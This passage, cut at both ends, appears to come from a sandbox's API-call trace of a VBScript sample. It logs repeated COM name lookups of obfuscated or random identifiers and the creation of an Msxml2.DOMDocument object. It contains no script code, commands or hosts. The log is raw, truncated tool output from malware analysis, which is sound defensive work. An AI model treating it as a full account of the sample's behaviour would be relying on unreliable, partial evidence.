Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.481] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STR1HEAD", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.481] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STR1HEAD", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.481] GetCurrentThreadId () returned 0xd44 [0087.481] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.481] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.482] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STR1HTML", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.482] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STR1HTML", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.482] GetCurrentThreadId () returned 0xd44 [0087.483] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.483] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.483] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ST1RMSG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.483] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ST1RMSG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.483] GetCurrentThreadId () returned 0xd44 [0087.483] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.483] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.483] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRN1UMVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.483] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRN1UMVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.483] GetCurrentThreadId () returned 0xd44 [0087.483] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.484] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.484] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STROSL1OCL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.484] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STROSL1OCL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.484] GetCurrentThreadId () returned 0xd44 [0087.484] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.484] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.484] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRP1ATTERN", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.484] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRP1ATTERN", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.484] GetCurrentThreadId () returned 0xd44 [0087.485] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.485] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.485] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRPREVIOU1SLETTER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.485] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRPREVIOU1SLETTER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.485] GetCurrentThreadId () returned 0xd44 [0087.485] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.485] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.485] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSCRI1PTENGINE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.485] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSCRI1PTENGINE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.485] GetCurrentThreadId () returned 0xd44 [0087.485] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.485] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.486] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSCRIP1TPATH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.486] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSCRIP1TPATH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.486] GetCurrentThreadId () returned 0xd44 [0087.486] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.486] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.486] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSC1RIPTVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.486] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSC1RIPTVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.486] GetCurrentThreadId () returned 0xd44 [0087.486] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.486] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.487] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRUN1KNOWNCOMMAND", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.487] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRUN1KNOWNCOMMAND", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.487] GetCurrentThreadId () returned 0xd44 [0087.487] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.487] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.487] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRWI1NVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.487] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRWI1NVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.487] GetCurrentThreadId () returned 0xd44 [0087.487] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.487] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.488] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fsdfdsfs", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.488] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fsdfdsfs", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.488] GetCurrentThreadId () returned 0xd44 [0087.488] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.488] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.488] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="yulkytjtrhtjrkdsarjky", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.488] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="yulkytjtrhtjrkdsarjky", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.488] GetCurrentThreadId () returned 0xd44 [0087.488] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.488] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.489] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="veuifeig23e02i3r029u4r43j89uotjf893jt", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.489] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="veuifeig23e02i3r029u4r43j89uotjf893jt", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.489] GetCurrentThreadId () returned 0xd44 [0087.489] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.506] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.507] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="wslausfychks", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.507] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="wslausfychks", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.507] GetCurrentThreadId () returned 0xd44 [0087.507] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.507] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.507] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="clswfoiwghuo", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.507] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="clswfoiwghuo", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.507] GetCurrentThreadId () returned 0xd44 [0087.508] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.508] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.508] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="aaax", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.508] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="aaax", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.508] GetCurrentThreadId () returned 0xd44 [0087.508] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.508] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.508] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="dfgdfgdfgd", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.508] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="dfgdfgdfgd", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.508] GetCurrentThreadId () returned 0xd44 [0087.508] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.509] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.509] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="wss", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.509] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="wss", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.509] GetCurrentThreadId () returned 0xd44 [0087.509] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.509] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.509] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="letters", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.509] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="letters", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.509] GetCurrentThreadId () returned 0xd44 [0087.509] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.509] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.510] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="virto", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.510] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="virto", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.510] GetCurrentThreadId () returned 0xd44 [0087.510] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.510] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.510] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ywrjjjjjjjjjjjjwty", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.510] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ywrjjjjjjjjjjjjwty", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.510] GetCurrentThreadId () returned 0xd44 [0087.510] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.510] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.511] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pioeig", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.511] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pioeig", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.511] GetCurrentThreadId () returned 0xd44 [0087.511] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.511] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0087.511] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="pisj", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0087.511] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="pisj", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0087.511] GetCurrentThreadId () returned 0xd44 [0087.511] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.511] ??2@YAPAXI@Z () returned 0x86bfeb0 [0087.511] malloc (_Size=0x804) returned 0x8470df8 [0087.511] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0087.512] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0087.513] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.513] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.513] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="t676fttf754vb4xfg6yxygbyu67rfgibgfbnfr7", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.513] GetCurrentThreadId () returned 0xd44 [0087.513] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.513] ??2@YAPAXI@Z () returned 0x11c2208 [0087.513] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.513] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.513] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="kvjusvsfdcsb", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.513] GetCurrentThreadId () returned 0xd44 [0087.514] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.514] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.514] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="cvbnm", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.514] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="cvbnm", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.514] GetCurrentThreadId () returned 0xd44 [0087.514] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.514] malloc (_Size=0x204) returned 0x847b3d8 [0087.514] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.515] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="soswjwslvc", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.515] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="soswjwslvc", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.515] GetCurrentThreadId () returned 0xd44 [0087.515] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.515] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.515] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.515] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="mosdoepfy9eqje", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.515] GetCurrentThreadId () returned 0xd44 [0087.515] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.516] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.516] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vposaleusaogr", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.516] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vposaleusaogr", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.516] GetCurrentThreadId () returned 0xd44 [0087.516] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.517] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.518] malloc (_Size=0x804) returned 0x8470df8 [0087.518] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.518] CLSIDFromProgIDEx (in: lpszProgID="Msxml2.DOMDocument", lpclsid=0x1544ac | out: lpclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4))) returned 0x0 [0087.518] SysStringLen (param_1=0x0) returned 0x0 [0087.518] CoGetClassObject (in: rclsid=0x1544ac*(Data1=0xf6d90f11, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x15449c | out: ppv=0x15449c*=0x72b7d4b8) returned 0x0 [0087.519] DOMDocument:IUnknown:QueryInterface (in: This=0x72b7d4b8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x154498 | out: ppvObject=0x154498*=0x0) returned 0x80004002 [0087.519] DOMDocument:IClassFactory:CreateInstance (in: This=0x72b7d4b8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1544a0 | out: ppvObject=0x1544a0*=0x5564c0) returned 0x0 [0087.519] DOMDocument:IUnknown:AddRef (This=0x72b7d4b8) returned 0x1 [0087.519] DOMDocument:IUnknown:QueryInterface (in: This=0x5564c0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154464 | out: ppvObject=0x154464*=0x5564ec) returned 0x0 [0087.519] ??2@YAPAXI@Z () returned 0x1112ba8 [0087.520] DOMDocument:IObjectWithSite:SetSite (This=0x5564ec, pUnkSite=0x1112ba8) returned 0x0 [0087.520] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 